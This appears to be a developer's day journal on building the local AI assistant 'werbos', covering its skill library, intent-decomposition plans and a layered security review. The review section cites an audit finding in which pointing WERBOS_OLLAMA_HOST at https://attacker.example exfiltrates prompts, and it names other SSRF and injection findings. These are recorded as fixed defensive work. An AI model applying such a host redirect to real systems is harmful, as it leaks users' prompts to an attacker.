Day 22 — 'decision trees all the way up.'

“decision trees all the way up.”

What landed before 10am

By Day 22 mid-morning the architecture stack from Days 19-21 was firing together in one project for the first time. The brief “Build a modern SaaS dashboard: nav row / 3 columns with data / chart or graph / table” produced:

• Navbar substituted from the snippet library — logo
  • 4 menu items + Sign-in CTA in a horizontal flex layout, proper Material spacing
• 3 KPI cards in a horizontal row — .app__row--top flex utility from _base.css working; cards substituted from display/kpi-card-basic with bracketed slots for label/value/delta
• Chart placeholder as a bracketed slot — [chart placeholder — bar / line / pie, operator-specified], the exact phrasing from @visionary’s ## Required features section preserved all the way through to the rendered output. NOT a comment placeholder — a content placeholder the operator fills in later.
• Full <table> with 5 rows of bracketed mock data — [Customer name] / [Transaction amount] / [Date] styled via the _base.css raw-element table baselines (uppercase headers, surface-container background, row borders, hover state)

Every piece of the week’s architecture firing together. Snippet substitution + modular CSS + layout utilities + raw- element baselines + persona-driven inline-content discipline.

Three sprints shipped to make this possible:

1. AO.1 Part 9 — modular per-snippet CSS files (75db53b). Composer no longer concatenates snippet CSS into one styles.css. Each snippet’s CSS is its own file under styles/; the project’s styles.css is a 6-line @import orchestrator. @css-wizard’s expect_files shrinks to ["styles/theme.css"] — write only the :root overrides. Plain native CSS @import in 2026, no Sass build step needed.
2. _base.css layout + raw-element additions (no code commit; snippet library content update). New .app__row / .app__row--top/middle/bottom flex utilities so KPI cards lay out horizontally with wrap on mobile. New raw-element baselines for <table>, <th>, <td>, <caption> so the model’s hand-written table markup looks like a real Material table without a snippet existing for it yet.
3. @front-end persona tightening (no code commit; persona update). New explicit rule: “fill content inline; no comment-only placeholders.” Concrete ✅/❌ examples (full table with mock rows ✅, <!-- table rows go here --> ❌). This rule alone moved the chart-row + table-row from empty scaffolds to actual content.

The philosophical breakthrough that ran in parallel

Three architectural realizations cascaded through the morning, each sharper than the last:

1. The polish-anywhere pattern

The studio’s polish_styling tool — read a CSS file, dispatch @css-wizard, write back — generalizes to ANY cwd. Strip the studio scope, add a project-detection layer, and the same pattern works:

“cd into your Hugo blog. Type werbos polish 'make button radius 10px'. Werbos finds the right SCSS, makes the change, you keep typing.”

Same dispatch infrastructure. Same persona. Different file- finding strategy per project type (Hugo vs Astro vs Next.js vs werbos studio vs plain HTML). 5-10 detectors covers most operator workflows.

Beyond CSS, the same pattern generalizes to any code edit: add a function (@senior-dev), rename a component (@front-end), draft a blog post (@blogger). Werbos becomes a personal code/content assistant for the operator’s entire workstation, naturally scoped to whatever cwd they’re in. Not just werbos-internal projects.

2. The meta-principle: decision trees as architecture

For small local models, encode the decision space; let the model walk it.

Every win this week was a decision tree:

• Snippet library — picks “which catalog component matches this placeholder?”
• Token contract — picks “which spacing? which color role?” from enumerated tokens
• build_project orchestration — the chain IS the tree; model walks the stages
• Studio routing (Path A/B/C) — three nodes, model picks one
• Modular CSS layers — decides “is this raw HTML or class component?” → _base.css vs snippet CSS

Every failure this week was a place we didn’t have a tree yet:

• @visionary “design a dashboard from scratch” → no tree, infinite space, model invented Personal Finance Manager three times
• @css-wizard “write all per-component CSS” → no tree, model dropped rows
• @front-end “fill in the table content” → no tree, comment-only placeholder

Every working design system on the planet — Material 3, Carbon, Radix, shadcn, Bootstrap — is a decision tree dressed up as a library. werbos has been independently re-deriving the same principle. The library is the tree’s body. The tokens are its enumerated leaves. The model traverses what humans craft.

3. The input layer was the missing piece

The diagnostic that closed the day’s loop:

“as a developer i think small and in pipelines… the non developer thinks in grand vague idea… that’s the difference between ’this sucks and i find value in this’”

A developer typing “build a modern SaaS dashboard: 3 KPI cards, image, table” maps cleanly to decision-tree nodes. The pipeline executes.

A non-developer typing “i plumber need a website” fails because there’s no tree node for “thing for plumbing business.” The model fills the gap with priors. Same failure mode as Day 20-21’s Personal Finance Manager invention, but the root cause isn’t the model — there’s no tree to walk.

The fix is intent decomposition, which is itself another decision tree, one layer up the stack:

"i plumber need a website"
        │
        ▼
INTENT CLASSIFIER (8-10 known classes)
  └─→ SMALL_BUSINESS_WEBSITE
        │
        ▼
PATTERN LOOKUP
  └─→ [hero, about, services, pricing, testimonials,
       contact, faq]
        │
        ▼
DOMAIN INFERENCE (10-15 categories)
  └─→ "plumber" → TRADES
        │
        ▼
THEME LOOKUP (per-domain palette + typography)
  └─→ safety-blue + caution-orange + industrial sans
        │
        ▼
CONTENT TEMPLATES
  └─→ section-by-section copy with [bracketed] slots
       for operator specifics
        │
        ▼
COMPOSITION → spec.md → build_project runs existing chain

Seven words in. Thirty-plus decisions made automatically. The operator gets a structurally-complete plumbing website with bracketed slots for service area, years in business, and phone number. Edit those four-five values, ready to ship.

Estimated build time for the v0 intent pipeline: ~6 hours across one session of taxonomy + one session of pipeline code

• one session of starter patterns. Not a hard problem; the hard problem was knowing the input layer was missing.

The unlock — what shifted between Day 21 and Day 22

Day 21 closed thinking: “we built the snippet library. The studio works. The model picks from the catalog instead of generating.”

Day 22 mid-morning recognized: that’s the EXECUTION layer. There’s an INPUT layer above it (intent → spec) and a SURFACE layer below it (project detection so the studio’s logic works in any cwd). All three layers obey the same decision-tree philosophy.

Three layers of the same architectural pattern:

• INPUT layer: intent classifier + pattern lookup + domain inference + theme lookup + content templates → bridges vague human thought to structured spec
• EXECUTION layer (what we shipped Days 19-21): spec → build_project → snippet library + composer + modular CSS → structurally-complete artifact
• SURFACE layer: werbos polish / /code-buddy / werbos morning works in any cwd on any project the operator has → makes werbos a personal AI for the operator’s whole workstation, not just werbos-internal projects

Each layer is independently shippable. The execution layer is already done. The input layer is ~6 hours. The surface layer is ~half-day of project detectors + a CLI wrapper around existing tools.

werbos is approximately 1.5 days of work away from being a working “tell me what you want and I’ll figure out the rest” personal AI bundle.

Quote of the day

“as a developer i think small and in pipelines… the non developer thinks in grand vague idea… that’s the difference between ’this sucks and i find value in this’.”

Operator-stated mid-morning, after we’d just shipped the modular CSS + the persona tightening and watched the architecture work end-to-end. The whole week’s positioning lands in one sentence: developers got value from werbos by writing precise briefs that map to the decision trees we built. Non-developers type vague aspirations and watch werbos fail because we hadn’t built the tree that bridges vague → precise. The fix is the intent layer; the architecture insight is that EVERY layer is the same decision-tree pattern.

AHAs

• Decision trees ALL the way up the stack. The principle isn’t “the studio is a decision tree.” It’s “every layer of werbos that touches an AI model should be a decision tree.” Input layer, execution layer, surface layer. Same shape; different problem. The architecture is fractal in a useful way.
• The execution layer is the easy part. What we spent the whole week building (snippets, composer, modular CSS, agent personas) was actually the simplest layer. The input layer (which is just ~6 hours of curated content) is what unlocks the magical-experience demo. We were building bottom-up; we should have known we’d need to build top-down too.
• The studio is the prototype, not the product. All week we were treating the design studio as werbos’s flagship feature. The polish-anywhere generalization revealed that it’s actually the PROTOTYPE for a much broader pattern — werbos-as-personal-code-assistant scoped to whatever cwd. The studio remains. It just stops being the headline.
• The library is the differentiator, not the model. Non- Jason developers don’t buy werbos for “AI that designs from scratch” — frontier hosted models do that better. They buy werbos for “a decision tree that knows my project’s shape + a model that walks it locally for free.” The TREE is the differentiation. A bigger model wouldn’t change the output shape; it would just walk the same trees faster.
• “It’s not a hard problem” — operator’s instant recognition once the architecture stack was visible. The pieces are all in place; the input layer is curated content
  • a small pipeline; the surface layer is a project-detection routine. The HARD part was knowing the architecture was shaped correctly. Now that we can see it, the build path is clear and short.

The new launch headline

“I built a personal AI that doesn’t need you to know what you want.”

That phrase emerged mid-conversation as the operator named the input-layer gap. It’s the sharpest launch positioning we’ve landed on all week:

• Frontier hosted (Claude/GPT) — best at filling vague gaps with reasonable assumptions; needs $20-200/month
• werbos — best at executing precise specs; runs free + local
• NEW: werbos with intent decomposition — best at TURNING vague input INTO precise specs the rest of the pipeline walks. Vague-input handling without the frontier model.

The Hugo-developer demo: “cd into your blog, werbos polish the button, keep typing.”

The non-developer demo: "werbos wish 'i plumber need a website' → 30 seconds later you have a structurally-complete plumbing site with bracketed slots for your details."

Both demos require werbos’s existing infrastructure plus a small new sprint. Both ship within a week of when we decide to build them.

Carryover

• Intent decomposition pipeline (ARCH.3) — the input layer. ~6 hours. Taxonomy of intent classes + per-intent patterns + domain inference + theme lookup + content templates. The highest-leverage sprint left in werbos.
• Polish-anywhere skill (/polish + werbos polish) — the surface layer. ~2.5 hours. Project-detection module + generic polish_css core + slash + CLI wrappers.
• Personal-AI skill bundle — /morning, /journal, /cooking, /stocks, /note, /code-buddy. Each composes existing infrastructure (memory + tools + scheduler + channels). 30-90 min per skill once the convention is established.
• docs/architecture.md rewrite (ARCH.1) — captured in full in docs/sprints/arch1-decision-trees-rewrite.md (c4f8e3b). ~3-4 hrs of writing when the skills and intent layer have shipped enough that the catalog stabilizes.
• data/table-basic + data/chart-bar snippets — first expansion of the snippet library from 5 to ~7. Each ~45 min.
• Distribution rails (NX.1 npm + A.5 PyPI) — still deferred since Day 20. Architectural clarity has been worth the deferral, but “stranger can install werbos” remains the v1 ship line. After ARCH.3 + the surface layer, the v1 ship gate has a complete story to point at.

What today’s screenshot proved

The “Modern SaaS Dashboard” artifact rendered at 10:04am contains:

• 1 navbar (snippet substituted)
• 3 KPI cards (snippet substituted, laid out horizontally via _base.css)
• 1 chart-placeholder bracket (persona-rule landed; not a comment)
• 1 table with 5 rows of bracketed mock data (persona-rule landed; _base.css table baseline styling)
• 1 thin orchestrator styles.css @importing 5 separate files in styles/
• 1 small theme.css with the project’s :root overrides

That’s the cleanest werbos artifact ever produced. Every architectural decision from the last four days made visible at once. Not because anyone’s hand-tuning it; because the architecture is doing the work.

Day 22 isn’t even half over. But the shift in thinking that crossed at 10am is the whole point of saving the vignette now — capture the moment when the architecture became visible, before it stops feeling novel.

Afternoon + evening — “hell yeah, now we can expand the skills by 10x over the next 2 weeks.”

The morning was architecture. The afternoon was execution. The evening was a full security pipeline.

By 10pm the count was: 19 built-in skills shipping, Tier 3 custom-skill upload working, 53 security findings triaged, 38 fixed, zero Critical or High outstanding, deployed live to SR8. 27 commits since the 10am morning entry.

Personal-AI skill bundle

The morning’s “input layer” claim got cashed in. Eleven hand- written skills + a 7-skill data-driven framework shipped to origin/main:

Daily — /morning (stocks + crypto + weather brief), /weather (single ZIP lookup), /stocks (focused ticker query), /news (top N HN headlines), /evening (LLM reflection from today’s journal entries).

Capture — /journal (timestamped append + read-back), /note (tag-aware capture with inline #hashtags).

Knowledge — /define (Free Dictionary API; phonetic + parts of speech + examples).

Work — /standup (LLM-formatted Yesterday/Today/Blockers from rough notes), /email (draft in operator’s voice using user.md Identity + Communication sections; tone maps to sign-off Best/Thanks/Cheers/Talk soon).

Creative — /cooking (LLM-driven recipe suggestions from ingredients; strict output template so llama3.1:8b produces consistent parseable markdown).

Code — /polish (code-aware LLM edit on a file in any project — Hugo / Next / Vite / Tailwind / plain CSS). The polish-anywhere memory called this the Hugo-developer launch demo; it’s now real. CLI-first; dry-run by default; --apply writes.

Plus a prompt-skill framework (werbos/prompts.py) where one entry in the PROMPT_SKILLS dict becomes a CLI subcommand + slash handler + Skills-tab card automatically. Shipped via the framework: /summarize, /eli5, /commit, /retro, /plan, /joke, /name-gen.

19 built-in skills total. The framework lever is real — the operator can extend without me writing Python.

Commits (in shipping order): 8115e20 a8d3774 59c2929 6f412b3 13904fd 1b97c11 a47f6b1 b4b9870 ee3aa83 676a68f da4cba8 f258386 5fe8884 db469a3 90e42b9 f5c6725 ac5f156.

Skills dashboard + Tier 3 custom-skill upload

Skills is the new sidebar entry between CLI and Models:

• Skills tab + /api/skills surface (a47f6b1) — skill cards with Run buttons. /morning card has a structured edit form for stocks / crypto / weather_zip that section-replaces the ## Morning brief block in user.md. Other sections (Identity, Communication, Code style) preserved.
• Tier 3 custom slash skills (ee3aa83) — operator clicks + New custom skill, fills name / description / body in a modal, and /<name> becomes a slash command
  • skill card. Body is the LLM system prompt; slash args become the user message. Edit + Delete on custom cards. Audit log at ~/werbos/audit/custom_skill_runs.jsonl. Reserved-name guard blocks shadowing built-ins.
• Inline args field on every skill card (676a68f) — fixed the “/weather didn’t give me an input” complaint; Run button sits next to a text input pre-populated with per-skill hint text.

Full security pipeline

Operator invoked Purple → Black → Red → Black → Red. Five-agent chain, ~3 hours of agent time, 9 of today’s 27 commits. The audit trail lives at security-review/ so future operators can see what was decided and why.

The flow:

• Purple Day 22 found 17 findings against the morning’s new surface (Skills tab, custom skills, polish, prompt skills, fetchers). 3 Critical, 4 High, 6 Medium, 4 Low.
• Purple Extended (2-week review of R.2 / K.0 / A.5 / V1.6-1.9 / SD.1-2 / AO.1 / A.3 / A.4) found 21 more. 2 Critical, 5 High, 7 Medium, 5 Low + 4 deferred follow-ups.
• Red Round 1 (92b734a / 8128dae / d09d382 / 77642be) fixed 26 of 38 (5 deferred per Purple’s own auth). 78 new tests including a 75-test security regression suite. 4314 passing.
• Black Round 1 ran adversarial against the hardened state. 15 fresh findings — and the standout was one true bypass of Red’s EM2: tools/ollama_chat.default_ollama_host() got missed in the SSRF patch. Every prompt skill (/email, /standup, /cooking, custom skills, all 7 PROMPT_SKILLS) was exfil-able via WERBOS_OLLAMA_HOST=https://attacker.example. Four fresh Highs (DNS-rebind on screenshot_url, polish symlink redirect, polish WERBOS_DATA_DIR deny gap, polish content-blindness for @import / <script> injection).
• Red Round 2 (40fb2e5 / fb69d93 / 644a4b0 / 2021172 / 7be9129) closed all 12 actionable Bo findings. 3 INFO-tier deferred (no current impact). 30 more tests. 4344 passing, 0 failing.

Final posture: 0 Critical, 0 High outstanding. 8 explicit- auth deferrals + 3 INFO won’t-fix. The security-review/ folder (dc0528e) documents the full chain.

Deploy story (and a problem we’re not done with)

The Docker rebuild kept failing on pitts-auth (private sibling repo, no GitHub PAT in the build context). Resolved by side-stepping: docker cp werbos/. <container>:/app/werbos/ into both /app AND /usr/local/lib/python3.11/site-packages/ werbos, then restart.

The reason both paths needed updating: the werbos entry-point script invokes Python with sys.path[0]=/usr/local/bin, so the site-packages copy wins import resolution; updating ONLY /app leaves the running process holding stale code. Once both locations sync, restart picks up new routes. Also discovered httpx wasn’t in the container image — installed via pip install --no-cache-dir httpx inside the running container.

A proper pitts-auth fix is queued for the next DevOps sprint.

AHAs

• The framework lever IS the 10x. 11 hand-written skills took most of the afternoon; the 7-skill prompt framework was one evening hour. Adding the 12th, 50th, 100th prompt skill is now a config edit the operator does via the UI. I never have to touch Python for prompt-only skills again.
• Purple → Black → Red → Black → Red is the right loop. One pass isn’t enough. Round 2 found a true bypass of Red’s EM2 (Bo-001) that would have shipped to production as the only exfil-able Critical in the system. The second adversarial pass paid for itself in the first finding.
• Audit trail is part of the deliverable. The security-review/ folder is the receipts. Future ops review sees not just what shipped but what was decided, why, who flagged it, who fixed it, what got deferred. Pipeline-of-record.
• Defense-in-depth fixes find each other. C1’s morning-section regex got a line-walker fix; that walker design surfaced Bo-010 (BOM blindspot) in the Black review; Red Round 2 added lstrip("") and the round trips cleanly. Each layer of review surfaces the next layer’s edge cases.

Quote of the day

“hell yeah, now we can expand the skills by 10x over the next 2 weeks.”

The framework lever shipping + the security pipeline closing in the same evening = the operator can move from “build skills” to “add data to the dict” tomorrow. The 10x roadmap isn’t aspiration; it’s mechanism.

Numbers worth keeping

• 19 built-in skills + unlimited custom upload via UI
• 23 slash handlers total (4 admin + 12 hand-written + 7 prompt-driven)
• 27 commits today since the 10am morning entry
• 53 security findings triaged, 38 fixed
• 4344 tests passing, 4 skipped, 0 failing (+78 R1, +30 R2)
• 0 Critical or High security findings outstanding

What’s next

Per the operator’s “10x in 2 weeks” framing:

• More built-in skills (calendar, GitHub, Wikipedia, web search, sleep tracker) — the ones that need API integrations
• Operator ships prompt-only skills via the Skills tab directly
• Skills marketplace shape (Tier 4): share custom-skill markdown
• Distribution rails (NX.1 npm + A.5 PyPI day 5) — finally unblocked once security stabilized
• Black Round 2 (validate Red Round 2) if worth one more pass

Day 22 closes with everything live on SR8, audit trail in the repo, framework lever proven. The 10x trajectory starts tomorrow.

Night — “the true and only way to extend the capabilities of the model.”

The afternoon/evening said “the framework lever IS the 10x.” The night cashed the lever in. Skill count went from 19 → 51 user-facing skills + a tool-use dispatcher that lets the chat model invoke any of them without the operator typing the slash.

What landed after the security pipeline closed

• Skills tab filters (ae4fbed) — search + kind chip + auto-derived category chip. Built for the 200+ skill roadmap; the unfiltered grid would be a wall at scale. All client-side over the already-fetched /api/skills payload. Counter + Clear button. New categories surface automatically when skills with them land.

• security-review folder consolidation (fb8dd22) — moved the older docs/security/ artifacts (Day-10 Mr-BlackKeys pentests + Red-Team closures, audit cadence, knownvuln, secrets rotation, VG-005 SR8 smoke runbook) into the security-review/ folder created earlier today. One folder for all security audit artifacts.

• +30 non-developer prompt skills + /obsidian + ollama_chat host narrowing (ac31203) — the big batch. The 10x lever IN ACTION: 30 LLM-prompt-only skills shipped as ~600 lines of werbos.prompts.PROMPT_SKILLS dict entries, each auto-registered as CLI subcommand + slash handler + Skills-tab card. Categories:

  • Communication (8): /thank-you /apology /polite-no /follow-up /invite /congrats /condolence /birthday
  • Family (4): /gift-ideas /date-night /kids-activity /conversation-starter
  • Decisions (4): /pros-cons /should-i /what-if /recommend
  • Wellness (4): /gratitude /mood-check /breathe /reflect
  • Productivity (3): /focus /prioritize /declutter
  • Creative (4): /poem /letter /story /metaphor
  • Home (3): /cleaning-checklist /meal-plan /organize

  Plus /obsidian — built-in skill that appends notes to the operator’s Obsidian vault with YAML frontmatter + auto-injected [[wiki-links]] against existing vault note names (longest-match-first, case-insensitive, skips inside existing links). Vault config in ~/werbos/user.md ## Obsidian section. Honors nested tags (#parent/child).

  Plus the ollama_chat host narrowing — Red round 2’s Bo-001 SSRF fix correctly blocked attacker.example but ALSO blocked the operator’s Tailscale-hosted Ollama (100.83.4.49 — CGNAT range, technically private). All 37 prompt skills started failing immediately after the security deploy. New _reject_ollama_host is more permissive than _ssrf_reject_remote_host because the threat models differ — screenshot_url defends against agent-fetches-attacker-URL (private = SSRF target); ollama_chat defends against env-redirects-prompts (cloud-metadata = target, operator’s local network = intentional). Allow loopback / RFC1918 / CGNAT; reject cloud-metadata.

• dispatch_skill tool — natural-language skill routing (ff20219) — the option-3 ask cashed in. One pitts.Tool auto-registered for every default chat session; its description carries the live skill catalog (~1100 tokens) so the model sees the menu in its system prompt without a separate list_skills() round-trip. When the operator says “tell me a joke about python,” the model emits dispatch_skill(name="joke", args="python programmers") → werbos runs /joke via the SAME maybe_dispatch_slash path the chat composer uses → output flows back through the model. All Red round 1+2 security guards apply transparently — zero new privileges, just the convenience of natural-language dispatch.

  Smoke-tested at the tool level: “tell me a joke about python” → joke about arrays; “eli5 quantum entanglement” → fridge-magnet-string analogy. Real chat dispatches not yet operator-validated (deploy landed at end of night); reliability depends on chat-model tool-call discipline (qwen2.5:14b solid; llama3.1:8b sometimes narrates instead of calling). Slash forms still work as the deterministic fallback.

The meta-insight that closed the night

The operator’s framing after the filters + 30-skill batch:

“I know the massive skill library is good to remain competitive, but also the true and only way to extend the capabilities of the model.”

This is the OTHER side of framework-not-model. When the model is fixed (local-first constraint, can’t make qwen2.5:14b smarter), the skill library is the ONLY way to extend the model’s CAPABILITIES. Framework gates HOW the model performs at any given task; skill library gates WHAT tasks the model can do at all. Two different levers.

For a frontier model, capability extension comes from waiting for the next version, bigger context, RAG, native tool use. For a local 16B model none of those paths exist — the catalog IS the capability surface.

At 19 skills the catalog is interesting. At 51 (tonight) it’s useful. At 200+ (the roadmap) it’s a different model paradigm: not “one general AI that knows everything” but “a curated catalog of small AIs each excellent at one thing.” Same hardware. No data center.

Launch line that fell out:

“The frontier model gets smarter every six months. werbos gets a new capability every Tuesday afternoon.”

That’s a real asymmetry. Saved as a memory: skills-as-capability-extension-2026-05-21.

AHAs

• The framework lever is HERE. 30 prompt skills landed in ~30 minutes of dict edits. The 10x roadmap isn’t aspiration; it’s mechanism — tonight’s pace WAS the 10x pace.
• Security fix narrowing is a real second-pass discipline. Red round 2’s Bo-001 fix was correct in principle but too broad in practice. Took 10 minutes to narrow once we tested with the real operator setup. Two validators, two threat models, one code reuse point — sometimes that’s the right shape, sometimes it ships the same blocker twice.
• Tool-use dispatch is the bridge between “skill library” and “personal AI.” Without it, the operator has to know the slash to invoke a skill. With it, the operator just talks; the model is the dispatcher. The chat is the only surface that matters.

Quote of the night

“the true and only way to extend the capabilities of the model.”

The morning was architecture; the afternoon was execution; the evening was security; the night was the strategic frame the whole day was building toward.

Numbers worth keeping

• 51 user-facing skills + tool-use dispatch
• 35 commits today
• 4 commits after the security pipeline closed
• 6 deploys to SR8
• ~1100 tokens of skill catalog in every chat session’s system prompt
• 0 Critical / High security findings outstanding

What’s next (Day 23+, after the pause window)

Pause window starts tomorrow (Days 23-26). Day 23 resumes Tue 2026-05-26 with:

• /commit platform-aware + actually-runnable
• Black Round 2 — validate Red Round 2 + the ollama_chat narrowing
• More skills via the data lever (operator-driven)
• Distribution rails (NX.1 npm + A.5 PyPI)

Day 22 closes. The chat surface is the only surface that matters now. Everything else is the catalog the surface walks.